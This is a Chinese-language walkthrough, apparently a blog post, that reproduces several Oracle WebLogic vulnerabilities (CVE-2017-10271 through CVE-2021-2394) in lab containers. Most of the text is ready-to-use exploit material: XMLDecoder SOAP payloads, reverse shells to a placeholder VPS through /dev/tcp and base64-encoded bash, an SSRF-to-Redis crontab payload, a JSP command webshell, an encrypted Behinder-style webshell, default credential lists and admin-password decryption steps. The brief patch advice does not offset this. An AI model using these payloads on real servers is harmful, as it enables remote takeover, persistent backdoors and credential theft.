总字符数: 32.86K

代码: 5.72K, 文本: 7.90K

预计阅读时间: 59 分钟

‘wls-wsat’ XMLDecoder 反序列化漏洞(CVE-2017-10271)

漏洞概述

WebLogic 反序列化漏洞CVE-2017-3248和WebLogic WLS LS组件的远程代码执行漏洞CVE-2017-10271,Oracle官方在2017年10月份发布了该漏洞的补丁,但没有公开漏洞细节,如果企业未及时安装补丁,存在被攻击的风险.对企业服务器发起了大范围远程攻击,对大量企业的服务器造成了严重威胁,受影响的版本:

  1. 10.3.6.0.0
  2. 12.1.3.0.0
  3. 12.2.1.1.0
  4. 12.2.1.2.0

漏洞复现

攻击说明

攻击者选定要攻击的目标主机后,将首先利用漏洞CVE-2017-3248进行攻击,无论是否成功,都将再利用CVE-2017-10271进行攻击.在每一次的攻击过程中,都是先针对Windows系统,再针对Linux系统.具体攻击流程如下:

  1. 利用 WebLogic 反序列化漏洞(CVE-2017-3248)调用 Linux 中的wget 下载shell脚本并调用Linux本地”/bin/bash”执行shell脚本.(shell脚本内容内定义了从远端下载执行watch-smartd挖矿程序控制细节)
  2. 利用 WebLogic 反序列化漏洞(CVE-2017-3248)调用 Windows 中的PowerShell进行样本下载和运行.
  3. 利用 WebLogic WLS 组件漏洞(CVE-2017-10271)调用 Linux 中的wget 下载shell脚本并调用Linux本地”/bin/bash”执行shell脚本.
  4. 利用 WebLogic WLS 组件漏洞(CVE-2017-10271)调用 Windows 中的 powershell 进行样本下载和恶意代码执行.
  5. 在此次的攻击事件中,CVE-2017-3248利用不成功,CVE-2017-10271则利用成功,从而导致了服务器被攻击者攻陷,进而在系统日志中留下了痕迹.

靶场搭建

  1. 直接在 Centos虚拟机基于 Vulhub 漏洞集成环境生成靶场.
  2. 进入 Vulhub 对应的漏洞路径下执行命令docker-compose up -d编译并运行靶场容器
  3. docker ps查看端口下方修改了默认端口
  4. 访问http://192.168.2.188:7002/wls-wsat/CoordinatorPortType11,如果存在下图则说明或许存在漏洞

漏洞探测

我们向服务器上传一个文件,如果上传并访问成功,证明存在此漏洞,将下方IP换掉

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: YOUR-IP:7001
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 */#
Upgrade-Insecure-Requests: 1
Content-Type: text/xml
Content-Length: 675


<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.6.0" class="java.beans.XMLDecoder">
<object class="java.io.PrintWriter">
<string>servers/AdminServer/tmp/_WL_internal/wls-wsat/54p17w/war/test.txt</string><void method="println">
<string>xmldecoder_vul_test</string></void><void method="close"/>
</object>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>

反弹Shell

步骤和上方一样,将payload换为写shell的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>bash -i &gt;&amp; /dev/tcp/YOUR-VPS-IP/6666 0&gt;&amp;1</string>
</void>
</array>
<void method="start"/>
</void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>

修复建议

  1. 临时解决方案

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    # 根据攻击者利用POC分析发现所利用的为wls-wsat组件的CoordinatorPortType接口,若Weblogic服务器集群中未应用此组件,建议临时备份后将此组件删除,当形成防护能力后,再进行恢复
    # 根据实际环境路径,删除WebLogic wls-wsat组件:
    rm -f /home/WebLogic/Oracle/Middleware/wlserver_10.3/server/lib/wls-wsat.war
    rm -f /home/WebLogic/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/.internal/wls-wsat.war
    rm -rf /home/WebLogic/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/wls-wsat
    # 重启Weblogic域控制器服务
    # 停止服务
    DOMAIN_NAME/bin/stopWeblogic.sh
    # 启动服务
    DOMAIN_NAME/bin/startManagedWebLogic.sh
    # 删除以上文件之后,需重启WebLogic
    确认http://weblogic_ip/wls-wsat/ 是否为404页面.
  2. 官方补丁修复前往Oracle官网下载10月份所提供的安全补丁

WLS Core Components 反序列化命令执行漏洞(CVE-2018-2628)

漏洞概述

Weblogic Server中的RMI 通信使用T3协议在Weblogic Server和其它Java程序(客户端或者其它Weblogic Server实例)之间传输数据, 服务器实例会跟踪连接到应用程序的每个Java虚拟机(JVM)中, 并创建T3协议通信连接, 将流量传输到Java虚拟机. T3协议在开放WebLogic控制台端口的应用上默认开启. 攻击者可以通过T3协议发送恶意的的反序列化数据, 进行反序列化, 实现对存在漏洞的weblogic组件的远程代码执行攻击.

影响版本:

  • Oracle Weblogic Server10.3.6.0.0
  • Oracle Weblogic Server12.1.3.0.0
  • Oracle Weblogic Server12.2.1.2.0
  • Oracle Weblogic Server12.2.1.3.0

漏洞复现

漏洞探测

  1. 使用namp查看目标主机是否启用T3协议

    1
    nmap -p 7001 -T4 -A -v --script weblogic-t3-info 192.168.2.188
  2. 启动JRMP Server(监听1099)

    java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections1 'ping 0qie8z.dnslog.cn'

  3. 执行脚本

    python2 CVE-2018-2628.py 192.168.2.188 7001 ysoserial-0.0.6-SNAPSHOT-all.jar 192.168.2.107 1099 JRMPClient
    192.168.2.188:目标IP
    192.168.2.107:刚刚开启监听1099端口的主机IP


    查看监听状态

  4. 验证漏洞是否成功

反弹Shell

步骤和上面一样,只需将ping更换为base64后的payload

1
2
3
4
5
6
bash -i  >&  /dev/tcp/192.168.43.220/1234 0>&1
# 进行base64编码
# 一会儿要用到base64编码后的shell,命令如下:
bash -c {echo,YmFzaCAtaSAgPiYgIC9kZXYvdGNwLzE5Mi4xNjguNDMuMjIwLzEyMzQgMD4mMQ==}|{base64,-d}|{bash,-I}
# 可以使用下面地址进行base64:
# https://ares-x.com/tools/runtime-exec/

修复建议

  1. 此漏洞产生于Weblogic T3服务,当开放Weblogic控制台端口(默认为7001端口)时,T3服务会默认开启.关闭T3服务,或控制T3服务的访问权限,能防护该漏洞.对于不在Oracle官方支持范围内的版本,由于没有最新补丁,推荐采用此种方式进行修复.同时,Weblogic采用黑名单的方式进行反序列化漏洞的修复,存在被绕过的风险,因此控制T3服务为防护Weblogic RMI这类反序列化漏洞的有效方式.控制T3服务方式:
  2. 进入Weblogic控制台,在base_domain的配置页面中,进入”安全”选项卡页面,点击”筛选器”,进入连接筛选器配置.
  3. 在连接筛选器中输入:weblogic.security.net.ConnectionFilterImpl,在连接筛选器规则中输入:127.0.0.1 allow t3 t3s,0.0.0.0/0 deny t3 t3s(t3和t3s协议的所有端口只允许本地访问).
  4. 保存后需重新启动,规则方可生效.
  5. 更新Oracle官方发布的最新补丁,同时升级jdk至1.7.0.21以上版本.
  6. 如以上两种策略都无法采用,则可以考虑用更改代码的方式.以10.3.6.0为例,在weblogic.utils.io.oif.WebLogicFilterConfig的黑名单DEFAULT_BLACKLIST_CLASS中添加java.rmi.server.RemoteObjectInvocationHandler,编译并更新swlclient.jar、wlthint3client.jar这两个用到该类的包

任意文件上传漏洞(CVE-2018-2894)

漏洞概述

Oracle Fusion Middleware(Oracle融合中间件)是美国甲骨文(Oracle)公司的一套面向企业和云环境的业务创新平台.该平台提供了中间件、软件集合等功能.Oracle WebLogic Server是其中的一个适用于云环境和传统环境的应用服务器组件. WebLogic管理端未授权的两个页面存在任意上传getshell漏洞,可直接获取权限.两个页面分别为/ws_utc/begin.do,/ws_utc/config.do

漏洞复现

  1. 访问漏洞位置http://192.168.2.188:7004/ws_utc/config.do

  2. 获取账号密码docker-compose logs | grep password

  3. 访问http://192.168.2.188:7001/console/login/LoginForm.jsp登录后台管理员用户名为weblogic

  4. 点击base_domain的配置,在”高级”中开启”启用 Web 服务测试页”选项

  5. 访问http://192.168.44.132:7001/ws_utc/config.do

  6. 设置Work Home Dir为/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css静态文件css目录,访问这个目录是无需权限的

  7. 构造webshell

  8. 创建a.jsp内容如下请求:http://x.x.x.x/a.jsp?pwd=023&i=whoami

    1
    <% if("023".equals(request.getParameter("pwd"))){ java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream(); int a = -1; byte[] b = new byte[2048]; out.print("<pre>"); while((a=in.read(b))!=-1){ out.println(new String(b)); } out.print("</pre>"); } %>
  9. 然后点击Security-> Add,抓包,然后上传webshell因为weblogic使用了时间戳_文件名进行了重命名,时间戳在返回包中

  10. 然后访问http://192.168.2.188:7001/ws_utc/css/config/keystore/[时间戳]_[文件名],即可执行webshell

修复建议

暂无

未授权RCE(CVE-2019-2725)

漏洞概述

CVE-2019-2725是一个Oracle weblogic反序列化远程命令执行漏洞,这个漏洞依旧是根据weblogic的xmldecoder反序列化漏洞,通过针对Oracle官网历年来的补丁构造payload来绕过.

  • 影响版本:weblogic 10.x、weblogic 12.1.3
  • 存在/_async/AsyncResponseService接口

漏洞复现

  1. 访问/_async/AsyncResponseService接口,存在如下页面,即存在漏洞
  2. attck-命令执行
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing"
    xmlns:asy="http://www.bea.com/async/AsyncResponseService">
    <soapenv:Header>
    <wsa:Action>xx</wsa:Action>
    <wsa:RelatesTo>xx</wsa:RelatesTo>
    <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
    <void class="java.lang.ProcessBuilder">
    <array class="java.lang.String" length="3">
    <void index="0">
    <string>/bin/bash</string>
    </void>
    <void index="1">
    <string>-c</string>
    </void>
    <void index="2">
    <string>ping tdjmtv.dnslog.cn</string>
    </void>
    </array>
    <void method="start"/></void>
    </work:WorkContext>
    </soapenv:Header>
    <soapenv:Body>
    <asy:onAsyncDelivery/>
    </soapenv:Body></soapenv:Envelope>

修复建议

  • 升级本地JDK环境
  • 及时安装官方补丁

未认证远程命令执行(CVE-2020-14882、CVE-2020-14883)

漏洞概述

Oracle WebLogic Server 是行业领先的应用服务器,用于使用 Java EE 标准构建企业应用程序,并将它们部署在可靠、可扩展的运行时上,并且拥有成本低.

Oracle 重要补丁更新公告 - 2020 年 10 月中,Oracle 修复了 CVE-2020-14882 和 CVE-2020-14883 来自 Chaitin Tech 的安全研究员 @Voidfyoo 提交的两个安全漏洞.

CVE-2020-14882 允许远程用户绕过管理员控制台组件中的身份验证,CVE-2020-14883 允许经过身份验证的用户在管理员控制台组件上执行任何命令.使用这两个漏洞链,未经身份验证的远程攻击者可以通过 HTTP 在 Oracle WebLogic 服务器上执行任意命令并完全控制主机.

漏洞复现

  1. 启动完成后,访问http://192.168.44.132:7001/console查看管理员控制台登录页面

  2. 使用此 URL 绕过 Console 组件的身份验证:http://192.168.44.132:7001/console/css/%252e%252e%252fconsole.portal

  3. 此时,因为是低权限用户,没有上传 webshell 的权限

  4. 第二个漏洞,CVE-2020-14883,有以下两种利用方式

  5. com.tangosol.coherence.mvel2.sh.ShellSession
    1. 访问:http://192.168.2.188:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec('curl%20hzdjjb.dnslog.cn');")


    2. 这种利用方法只能在 Weblogic 12.2.1 及以上版本中使用,因为 10.3.6 没有 class com.tangosol.coherence.mvel2.sh.ShellSession

  6. com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext是一种更常见的漏洞利用,首次在 CVE-2019-2725 中引入,可用于任何 Weblogic 版本
    1. 要利用FileSystemXmlApplicationContext制作一个 XML 文件并将其上传到可以访问的服务器上
    2. 写入rce.xml

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    <?xml version="1.0" encoding="UTF-8" ?>
    <beans xmlns="http://www.springframework.org/schema/beans"
    xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
    xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
    <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
    <constructor-arg>
    <list>
    <value>bash</value>
    <value>-c</value>
    <value><![CDATA[curl qi9nx2.dnslog.cn]]></value>
    </list>
    </constructor-arg>
    </bean>
    </beans>
  7. python启动服务python3 -m http.server 8080

  4.  访问`http://192.168.2.188:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://example.com/rce.xml")`Weblogic 将加载此 XML 并执行其中的命令
  {% image https://wordpress-1258894728.cos.ap-beijing.myqcloud.com/202210172012676.png %}
        5.  该漏洞利用的缺点是:它要求 Weblogic 服务器能够访问恶意 XML.

修复建议

此次 Oracle 官方的 CPU已发布了针对该漏洞的补丁,请受影响用户及时下载补丁程序并安装更新.
及时更新补丁,参考oracle官网发布的补丁:
注:Oracle官方补丁需要用户持有正版软件的许可账号,使用该账号登陆后,可以下载最新补丁

ssrf(CVE-2014-4210)

漏洞概述

Oracle WebLogic Server是美国甲骨文(Oracle)公司的一款适用于云环境和传统环境的应用服务器,它提供了一个现代轻型开发平台,支持应用从开发到生产的整个生命周期管理,并简化了应用的部署和管理.

Oracle Fusion Middleware 10.0.2.0和10.3.6.0版本的 Oracle WebLogic Server 组件中的 WLS - Web Services 子组件存在安全漏洞.远程攻击者可利用该漏洞读取数据,影响数据的保密性.

类型 描述
漏洞名称 Oracle WebLogic Server SSRF漏洞
威胁类型 SSRF
威胁等级
漏洞ID CVE-2014-4210
受影响系统及应用版本 weblogic 10.0.2 – 10.3.6

服务端请求伪造(Server-Side Request Forgery),是一种由攻击者构造形成由服务端发起请求的一个安全漏洞.一般情况下,SSRF攻击的目标是从外网无法访问的内部系统.
SSRF形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能,且没有对目标地址做过滤与限制.比如从指定URL地址获取网页文本内容、加载指定地址的图片、文档等等

漏洞复现

SSRF漏洞就是通过篡改获取资源的请求发送给服务器,但是服务器并没有发现在这个请求是合法的,然后服务器以他的身份来访问其他服务器的资源.

以下演示的 Weblogic中 靶场环境就是由于访问目标网站是的参数是 URL ,且在服务端验证请求时没有对用户请求做出严格的过滤以及限制,导致存在 SSRF 漏洞,可以获取服务器一定量的数据.同时可以进一步实现篡改获取的资源并发送给服务器,下面是通过 6379 端口访问服务器的 redis 服务,并篡改了 /etc/crontab下的信息,将反弹 Shell 的脚本写入了该目录下从而获得 Shell.

靶场搭建

  1. 直接在 Centos虚拟机基于 Vulhub 漏洞集成环境生成靶场.
  2. 进入 Vulhub 对应的漏洞路径下执行命令docker-compose up -d编译并运行靶场容器
  3. docker ps查看端口
  4. 访问http://192.168.164.128:7001/uddiexplorer

端口探测

SSRF漏洞存在于http://your-ip:7001/uddiexplorer/SearchPublicRegistries.jsp,仔细查看发现这里有参数传入的是URL,差不多可以断定就是在这个点存在 SSRF 漏洞了

在 BurpSuite 下抓包测试该漏洞,查询请求的operator参数可以进行端口探测,当我们输入不同值时可得到多种不同的报错信息

通过docker inspect 容器ID 命令查看并确认 redis 服务的容器IP地址:

然后访问http://172.20.0.2:6379返回非 HTTP 协议的报错信息,是因为运行着 redis 服务

以上通过 SSRF漏洞探测内网中的 redis 服务器(docker环境的网段一般是172.*)可以通过写脚本或者BURP爆破内网服务,现在已经发现172.19.0.2:6379可以连通.

反弹Shell

接下来就是发送三条 redis 命令,将反弹 shell 的脚本写入目录/etc/crontab(这个目录下是一个默认自动执行的一些 crontab 定时服务命令,里面都写的是一些开启服务的命令):

1
2
3
4
set 1 "\n\n\n\n0-59 0-23 1-31 1-12 0-6 root bash -c 'sh -i >& /dev/tcp/evil/YOUR-VPS-IP/6666 0>&1'\n\n\n\n"
config set dir /etc/
config set dbfilename crontab
save

命令分析:

命令行 释义
set 1 ... 设置变量”1”的value
"\n\n\n\n0-59 0-23 1-31 1-12 0-6 root bash -c 'sh -i >& /dev/tcp/evil/YOUR-VPS-IP/6666 0>&1'\n\n\n\n" 调用定时任务去定时用root权限执行一个反弹shell,YOUR-VPS-IP为你的vps ip
set dir /etc/ 建立一个工作目录
config set dbfilename crontab 创建一个RDB备份文件,文件名crontab;所有的RDB文件都会储存在etc/crontab

Redis: 是一个key-value型数据库,信息以键对应值的关系储存在内存中,而它算不上是一个真正的数据库,因为 redis 是主要把信息数据存储在内存中(当然也可以把其存储在硬盘上,这也是写shell的必要条件之一).Redis将数据主要保存在内存中,我们可以随时执行save命令将当前的redis数据保存到硬盘上.另外redis也会根据配置自动存储数据到硬盘上,这不得不说到redis的 持久化运作方案,其中说到的一个RDB,一个AOF.RDB更像一个数据库备份文件,而AOF是一个log日志文件.我们可以设置让redis再指定时间、指定更改次数时进行备份,生成RDB文件;而设置AOF,可以在操作或时间过程后将”日志”写入一个文件的最末,当操作越来越多,则AOF文件越来越大.二者是相辅相成的,通过二者的配合我们能够稳定地持久地将数据存储于服务器上.

  1. 首先对以上三条 redis 命令进行 url 编码
  2. VPS中监听端口nc -lvvp 6666
  3. 将下方中的YOUR-VPS-IP替换为你的VPS-IP
    1
    %0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn0-59%200-23%201-31%201-12%200-6%20root%20bash%20-c%20%27sh%20-i%20%3E%26%20%2Fdev%2Ftcp%2FYOUR-VPS-IP%2F6666%200%3E%261%27%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aaaa
  1. 成功反弹
  2. 可进行利用的cron有如下几个地方:
  • /etc/crontab 这个是肯定的
  • /etc/cron.d/*将任意文件写到该目录下,效果和crontab相同,格式也要和/etc/crontab相同.漏洞利用这个目录,可以做到不覆盖任何其他文件的情况进行弹shell.
  • /var/spool/cron/root centos系统下root用户的cron文件
  • /var/spool/cron/crontabs/root debian系统下root用户的cron文件

修复方案

目前厂商已经发布了升级补丁以修复此安全问题,补丁获取链接:

weak_password

漏洞概述

在weblogic搭建好之后没有修改进入后台的密码导致弱口令登录获得webshell

  • 本环境模拟了一个真实的weblogic环境,其后台存在一个弱口令,并且前台存在任意文件读取漏洞.分别通过这两种漏洞,模拟对weblogic场景的渗透.
  • Weblogic版本:10.3.6(11g)
  • Java版本:1.6

漏洞复现

暴力破解

  1. 访问:http://your-ip:7001/console进入后台
  2. Weblogic常见弱口令总结
  • system:password
  • weblogic:weblogic
  • admin:secruity
  • joe:password
  • mary:password
  • system:sercurity
  • wlcsystem:wlcsystem
  • weblogic:Oracle@123
  1. 访问后台登录地址,输入任意账号密码,Burpsuite抓包
  2. 设置Payload

任意文件读取

本环境前台模拟了一个任意文件下载漏洞,访问http://your-ip:7001/hello/file.jsp?path=/etc/passwd可见成功读取passwd文件.那么,该漏洞如何利用?

  • weblogic密码使用AES(老版本3DES)加密,对称加密可解密,只需要找到用户的密文与加密时的密钥即可;
    这两个文件均位于base_domain下,名为SerializedSystemIni.dat和config.xml;
  • SerializedSystemIni.dat是一个二进制文件,所以一定要用burpsuite来读取,用浏览器直接下载可能引入一些干扰字符.在burp里选中读取到的那一串乱码,这就是密钥,选中乱码右键copy to file就可以保存成一个文件,文件名:SerializedSystemIni.dat
下载密文

brup抓包访问:http://192.168.2.188:7001/hello/file.jsp?path=security/SerializedSystemIni.dat

下载密钥

获取 config.xml 的包,找到加密后的管理员密码http://192.168.2.188:7001/hello/file.jsp?path=config/config.xml
config.xml是base_domain的全局配置文件,所以乱七八糟的内容比较多,找到其中的<node-manager-password-encrypted>的值,即为加密后的管理员密码,不要找错了

解密

然后进行解密工具地址:

可能遇到的问题,如果怎么解密都不对,那可能是返回包的编码不对,进行如下设置

如果出现以下情况可能是没有选中乱码进行copy to file

后台上传webshell

获取到管理员密码后,登录后台.点击左侧的 Deployments,可见一个应用列表:

点击Install,选择”upload your file(s)”

上传war包.值得注意的是,我们平时tomcat用的war包不一定能够成功,你可以将你的webshell放到本项目的web/jiangjiyue.war这个压缩包中,再上传.上传成功后点下一步.

上传的war文件是将一句话写在 jiangjiyue.jsp 中,再将 jiangjiyue.jsp 压缩成 jiangjiyue.zip ,再将jiangjiyue.zip改名为 jiangjiyue.war.

一句话木马如下,密码为 pass

<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if(request.getParameter("pass")!=null){String k=(""+UUID.randomUUID()).replace("-","").substring(16);session.putValue("u",k);out.print(k);return;}Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec((session.getValue("u")+"").getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);%>

冰蝎连接

修复建议

  1. 设置Config.do页面登录授权后访问
  2. IPS等防御产品可以加入相应的特征
  3. 升级到官方最新版本

Weblogic反序列化漏洞(cve_2021_2394)

环境安装:

1
2
3
4
wget https://security-1258894728.cos.ap-beijing.myqcloud.com/writeup/vulhub/weblogic/fmw_12.2.1.3.0_wls_Disk1_1of1.zip
unzip fmw_12.2.1.3.0_wls_Disk1_1of1.zip
java -jar fmw_12.2.1.3.0_wls.jar
使用管理员运行:C:\Oracle\Middleware\Oracle_Home\user_projects\domains\wl_server\startWebLogic.cmd
  • 请使用低版本的jdk安装weblogic进行测试

    基于RMI的利用方式,JDK版本限制于6u132、7u131、8u121之前,在8u122及之后的版本中,加入了反序列化白名单的机制,关闭了RMI远程加载代码 基于LDAP的利用方式,JDK版本限制于6u211、7u201、8u191、11.0.1之前,在8u191版本中,Oracle对LDAP向量设置限制,发布了CVE-2018-3149,关闭JNDI远程类加载 From:

  • 虚拟机中无法复现

    后面看到了Iz2y 的EXP中有这篇说明:手把手教你解决Weblogic CVE-2020-2551 POC网络问题,应该就是这个问题了,这里我的理解是docker里面返回的地址是一个内网地址(172开头),我们攻击的机器只能访问外网的地址,因此导致发送不了攻击数据;但是本地就不一样了,本地是能够直接访问docker的网络的,所以本地就不会有问题,而在真实环境中也应该没有这种问题.

漏洞概述

Oracle官方发布了2021年7月份安全更新通告,通告中披露了WebLogic组件存在高危漏洞,攻击者可以在未授权的情况下通过IIOP、T3协议对存在漏洞的WebLogic Server组件进行攻击.成功利用该漏洞的攻击者可以接管WebLogic Server.

这是一个二次反序列化漏洞,是CVE-2020-14756和CVE-2020-14825的调用链相结合组成一条新的调用链来绕过weblogic黑名单列表.
漏洞条件:

  • 启用了IIOP、T3协议
  • JDK版本符合JNDI注入条件

影响版本:

  1. WebLogic Server 10.3.6.0.0
  2. WebLogic Server 12.1.3.0.0
  3. WebLogic Server 12.2.1.3.0
  4. WebLogic Server 12.2.1.4.0
  5. WebLogic Server 14.1.1.0.0

漏洞复现

  1. 下载marshalsec利用marshalsec开启JNDI服务

  2. 创建Evil.java,通过javac编译得到Evil.class

    1
    2
    3
    4
    5
    public class Evil {
    public Evil() throws Exception{
    Runtime.getRuntime().exec("calc.exe");
    }
    }

    javac Exploit.java必须是java1.8

  3. 在VPS同目录下使用python开启一个http服务,并使用marshalsec开启JNDI服务

    1
    2
    python3 -m http.server 8080
    java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://YOUR-VPS-IP:8080/#Evil" 6666
  1. 利用exp进行复现

    1
    2
    wget https://github.com/lz2y/CVE-2021-2394/releases/download/2.0/CVE_2021_2394_jar.zip
    java -jar CVE_2021_2394.jar 127.0.0.1 7001 ldap://YUR-IP-VPS:6666/Evil
  2. 结果

修复建议

  • 升级版本